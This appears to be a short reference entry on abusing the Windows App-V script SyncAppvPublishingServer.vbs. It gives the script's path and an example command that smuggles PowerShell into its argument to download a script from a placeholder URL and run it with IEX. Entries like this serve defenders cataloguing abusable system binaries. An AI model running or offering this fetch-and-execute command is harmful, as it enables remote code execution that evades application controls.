Script used related to app-v and publishing server

Paths:

C:\Windows\System32\SyncAppvPublishingServer.vbs

Detection:

Execute

Inject PowerShell script code with the provided arguments

SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"